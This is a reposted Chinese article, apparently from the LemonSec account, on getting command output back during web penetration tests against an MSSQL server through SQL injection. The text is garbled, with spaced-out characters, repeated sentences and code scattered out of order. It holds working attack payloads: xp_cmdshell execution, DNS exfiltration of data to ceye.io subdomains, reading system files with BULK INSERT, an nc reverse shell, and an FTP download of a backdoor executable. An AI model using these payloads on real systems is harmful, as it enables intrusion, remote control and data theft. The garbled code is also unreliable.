搜索

[21666] 2021-02-11_WEB渗透测试中回显的一些技巧

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-02-11_WEB渗透测试中回显的一些技巧 W E B 渗 透 测 试 中 回 显 的 一 些 技 巧 安 全 先 师   L e m o n S e c   2 0 2 1 - 0 2 - 1 1 在 很 多 场 景 中 ， 在 很 多 场 景 中 ， W E B 是 渗 透 测 试 的 一 个 相 对 容 易 的 入 口 。 通 常 经 过 测 试 授 权 后 ， 我 们 会 先 尝 试 拿 到 一 个 是 渗 透 测 试 的 一 个 相 对 容 易 的 入 口 。 通 常 经 过 测 试 授 权 后 ， 我 们 会 先 尝 试 拿 到 一 个 W E B S E H L L ， 然 后 ， 然 后 再 通 过 各 种 方 法 提 权 ， 来 控 制 一 台 内 网 机 器 ， 然 后 利 用 这 台 内 网 机 器 控 制 整 个 内 部 网 络 。 再 通 过 各 种 方 法 提 权 ， 来 控 制 一 台 内 网 机 器 ， 然 后 利 用 这 台 内 网 机 器 控 制 整 个 内 部 网 络 。         在 进 行 W E B 渗 透 的 时 候 ， 我 们 通 常 会 通 过 后 台 弱 口 令 、 S Q L 注 入 、 X S S 、 任 意 文 件 上 传 等 漏 洞 来 进 行 攻 击 测 试 。 在 测 试 的 时 候 我 们 会 根 据 服 务 器 返 回 信 息 来 判 断 漏 洞 是 否 存 在 ， 也 是 根 据 服 务 器 返 回 的 信 息 来 判 断 我 们 能 否 成 功 执 行 命 令 ， 能 否 成 功 读 取 服 务 器 上 的 文 件 。 因 此 我 们 在 进 行 渗 透 测 试 的 时 候 ， 能 否 及 时 获 得 服 务 器 相 应 的 反 馈 信 息 尤 为 重 要 。 本 文 将 通 过 实 际 研 究 ， 来 寻 找 各 种 及 时 获 得 服 务 器 响 应 数 据 的 技 术 、 方 法 ， 为 渗 透 测 试 铺 平 道 路 。 下 面 将 模 拟 一 个 实 例 来 进 行 研 究 分 析 。         假 如 在 渗 透 测 试 的 时 候 ， 我 们 通 过 对 主 域 名 进 行 C 段 扫 描 ， 发 现 了 一 个 子 域 名 ， 并 且 该 子 域 名 存 某 处 存 在 s q l 注 入 漏 洞 ， 通 过 测 试 发 现 ， 该 注 入 点 支 持 U N I O N 查 询 如 图 ： 从 返 回 信 息 我 们 能 够 知 道 数 据 库 版 本 ， 也 知 道 了 数 据 库 服 务 器 是 w i n d o w s 操 作 系 统 。 但 是 给 服 务 器 发 送 H T T P 请 求 后 ， 返 回 数 据 包 如 下 ： 通 过 返 回 的 数 据 ， 我 们 判 断 服 务 器 是 L I N U X 系 统 。 从 目 前 的 信 息 来 看 ， W E B 服 务 器 在 一 台 L I N U X 系 统 上 ， 然 而 它 使 用 的 数 据 库 在 一 台 W I N D O W S 系 统 上 。 这 样 我 们 就 无 法 直 接 通 过 数 据 库 操 作 来 获 得 一 个 W E B S H E L L 了 。 接 下 来 我 们 的 思 路 是 想 办 法 来 控 制 这 台 数 据 库 服 务 器 ， 从 而 获 得 一 台 内 网 服 务 器 的 权 限 ， 然 后 再 去 渗 透 其 他 内 部 服 务 器 。 首 先 我 们 对 数 据 库 当 前 用 户 的 权 限 进 行 判 断 ：
返 回 正 常 信 息 ， 由 此 我 们 判 断 数 据 库 当 前 用 户 具 有 系 统 管 理 员 权 限 。 这 个 时 候 本 以 为 简 单 地 用 s q l m a p 跑 一 下   就 直 接 可 以 结 束 工 作 了 。 我 们 可 以 看 到 这 个 时 候 s q l m a p 并 没 有 正 常 工 作 ， 可 见 s q l m a p 无 法 直 接 对 h t t p s 的 连 接 进 行 注 入 。 这 里 有 个 小 技 巧 ， 我 们 让 s q l m a p 通 过 代 理 访 问 网 络 就 可 以 达 到 目 的 。 首 先 配 置 好 b u r p 让 b u r p 可 以 成 功 抓 取 h t t p s 数 据 包 ， 然 后 用 b u r p 作 为 代 理 ， 在 执 行 s q l m a p 时 加 上 参 数   – p r o x y   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 ， 这 样 应 该 就 可 以 了 。 实 际 测 试 时 候 发 现 ， s q l m a p 自 带 的 u s e r a g e n t   导 致 请 求 的 数 据 包 没 有 返 回 信 息 ， 因 此 我 们 加 入 了 参 数 — u s e r - a g e n t   ‘ ’   , 我 们 测 试 如 下 ：
已 经 可 以 正 常 注 入 了 ， 可 以 看 出 支 持 U N I O N ， 支 持 多 行 查 询 。 然 后 我 们 加 个 参 数 — o s - s h e l l 看 看 能 不 能 得 到 一 个 命 令 行 下 的 S H E L L S q l m a p 这 时 候 非 常 不 给 力 ， 我 们 执 行 的 命 令 根 本 没 有 返 回 结 果 ， 也 可 能 命 令 根 本 并 没 有 执 行 成 功 。 这 时 候 只 有 我 们 自 食 其 力 了 。 数 据 库 具 有 系 统 管 理 权 限 ， s q l m a p 执 行 o s - s h e l l 时 已 经 提 示 了 x p _ c m d s h e l l 恢 复 成 功 ， 我 们 想 到 的 首 先 就 是 通 过 x p _ c m d s h e l l 执 行 命 令 。 当 然 我 们 是 无 法 看 到 命 令 执 行 结 果 的 ， 我 们 通 过 c e y e . i o 申 请 了 一 个 账 户 ， 准 备 通 过 D N S 记 录 来 看 执 行 命 令 成 功 与 否 。 通 过 p i n g   然 后 查 询 d n s 记 录 来 判 断 命 令 知 否 执 行 成 功 很 幸 运 ， 我 们 看 到 了 D N S 记 录 的 结 果 说 明 可 以 成 功 执 行 命 令 。 然 后 我 们 试 图 想 通 过 数 据 组 件 配 合 D N S 记 录 来 获 得 命 令 执 行 情 况 。 在 研 究 过 程 中 ， 我 们 总 结 了 以 下 方 法 来 进 行 信 息 刺 探 。 1 、 利 用 H t t p R e q u e s t D a t a 2 、 通 过 共 享 路 径 来 执 行 程 序 / / % 2 b   / / 连 接 变 量 的 时 候 最 好 把 + 编 码 , 否 则 传 过 去 会 是 空 格 , 导 致 命 令 不 成 功 ； 这 里 执 行 命 令 测 试 时 需 要 嵌 套 在 外 部 e x e c 里 才 能 成 功 到 D N S ， 另 外 ' ' 是 两 个 单 引 号 。 3 、 数 据 库 备 份 ： 4 、 把 命 令 执 行 结 果 保 存 到 变 量 ， 再 写 入 数 据 库 ， 然 后 查 询 数 据 库 的 信 息 来 查 看 命 令 返 回 结 果 h t t p s : / / * * * / * * . p h p ? i d = 2 1 ; E X E C   x p _ c m d s h e l l   ' p i n g   a 1 . * * * . c e y e . i o D E C L A R E   @ r e t u r n T e x t   V A R C H A R ( 5 0 0 ) ; D E C L A R E   @ s t a t u s   i n t ; D E C L A R E   @ u r l S t r   V A R C H A R ( 2 5 5 ) ; S E T   @ u r l S t r   = ' h t t p : / / d d d . * * * . c e y e . i o / a ' ; E X E C   P _ G E T _ H t t p R e q u e s t D a t a     @ u r l S t r ,   @ s t a t u s   O U T P U T ,   @ r e t u r n T e x t       O U T P U T ; h t t p s : / / * * * / * * . p h p ? i d = 2 1 ; d e c l a r e   @ @ h p   v a r c h a r ( 8 0 0 ) ; s e t   @ @ h p = d b _ n a m e ( 0 ) ; e x e c ( ' e x e c   x p _ c m d s h e l l   ' ' ' % 2 b @ @ h p % 2 b ' . * * * . c e y e . i o a . e x e ' ' ' ) ; 先 执 行 c r e a t e   d a t a b a s e   r a i n ; 然 后 ： d e c l a r e   @ @ h p   v a r c h a r ( 8 0 0 ) ; s e t   @ @ h p   =   d b _ n a m e ( ) ; e x e c ( ' b a c k u p   l o g   [ r a i n ]   t o   d i s k = ' ' ' + @ @ h p + ' .   * * * . c e y e . i o a . e x e ' ' ; ' ) ; - -   / / + 记 得 编 码 c r e a t e   t a b l e   t e s t ( t 1   n v a r c h a r ( 2 5 5 ) ,   i d   i n t ) ; D E C L A R E   @ r e s u l t   v a r c h a r ( 2 5 5 ) ; E X E C   x p _ c m d s h e l l   ' p i n g  
5 、 把 文 件 读 入 数 据 库   再 查 询 来 看 文 件 6 、 访 问 共 享 目 录 执 行 后 门 程 序 ( 目 前 可 能 只 有 某 些 国 外 V P S 才 能 访 问 共 享 目 录 ) 7 、 利 用 n c 反 弹 8 、 f t p 上 传 、 下 载 文 件 ： 首 先 有 个 好 用 f t p 服 务 器 Q u i c k   E a s y   F T P   S e r v e r   V 4 . 0 . 0   可 以 记 录 访 问 日 志 通 过 f t p   o p e n 命 令 可 以 记 录 服 务 器 外 部 I P 地 址 , 扫 描 发 现 未 开 放 任 何 端 口 最 初 上 传 的 时 候 由 于 没 有 判 断 目 录 是 否 可 写   一 直 尝 试 失 败 后 来 意 识 到 目 录 权 限 的 问 题 了 ， 然 后 找 了 个 目 录 c : w i n d o w s t e m p 首 先 写 一 个 b a t   , 里 面 的 命 令 是 p i n g   d n s   然 后 执 行 b a t 看 D N S 访 问 记 录     如 果 成 功 接 下 来 ： 通 过 查 看 f t p 服 务 器 日 志   可 以 判 断 是 否 下 载 成 功 。 9 、 利 用 b a t 脚 本 来 实 现 信 息 刺 探 m y t e s t 1 . * * * . c e y e . i o ' , @ r e s u l t   o u t p u t ; i n s e r t   i n t o   t e s t ( t 1 )   v a l u e s ( @ r e s u l t ) ; 再 查 询 结 果 a n d   1 = ( s e l e c t   t o p   1   t 1   f r o m   t e s t )   或 者 a n d   1 = ( s e l e c t   c o u n t ( * )   f r o m   t e s t   w h e r e   t 1 > 1 ) ; d r o p   t a b l e   c m d ; c r e a t e   t a b l e   c m d   ( a   t e x t ) ; B U L K   I N S E R T   c m d   F R O M   ' c : b o o t . i n i '   W I T H   ( F I E L D T E R M I N A T O R   =   ' n ' , R O W T E R M I N A T O R   = ' n n ' ) * * * w e b s e r v e r . e x e 服 务 端 n c   - v v   i p   8 0 9 0   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e 客 户 端 n c   - v v   - l   - p   8 0 9 0 e c h o   o p e n   * * * > c : w i n d o w s t e m p f t p 1 . t x t     e c h o   x > > c : w i n d o w s t e m p f t p 1 . t x t     e c h o   x > > c : w i n d o w s t e m p f t p 1 . t x t e c h o   b i n a r y   > > c : w i n d o w s t e m p f t p 1 . t x t / / 下 载 到 指 定 目 录     e c h o   g e t   s e r v e r . e x e   c : w i n d o w s t e m p s e r v e r . e x e   > > c : w i n d o w s t e m p f t p 1 . t x t       e c h o   b y e   > > c : w i n d o w s t e m p f t p 1 . t x t     f t p   - s : c : w i n d o w s t e m p f t p 1 . t x t     d e l   c : w i n d o w s t e m p f t p 1 . t x t d i r   / b / a - d / o d   c : w i n d o w s t e m p   > t e s t . t x t     / /   d i r   / b / a - d / o d   获 得 目 录 里 的 文 件 名 f o r   / f   " d e l i m s = ： "   % % a   i n   ( t e s t . t x t )   d o   ( p i n g   % % a . * * * . c e y e . i o )   / / 把 文 件 名 发 送 到 D N S 记 录
本 地 测 试 结 果 如 下 ： 文 件 名 带 入 了 p i n g 请 求 里 了 ， 这 时 我 们 看 看 D N S 日 志 记 录 ： 成 功 读 取 到 了 文 件 名 实 际 在 命 令 行 写 入 b a t 脚 本 的 时 候   要 注 意 用 ^ 来 转 义 <   > 符 号 ， % 需 要 编 码 成 % 2 5 。 实 现 脚 本 如 下 ： 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c e c h o   d i r   / b / a - d / o d   c : w i n d o w s t e m p   ^ > t e s t . t x t   >   c : w i n d o w s t e m p d i r . b a t e c h o   f o r   / f   " d e l i m s = ： "   % 2 5 % 2 5 a   i n   ( t e s t . t x t )   d o   ( p i n g   % 2 5 % 2 5 a . * * * . c e y e . i o )   > > c : w i n d o w s t e m p d i r . b a t
觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理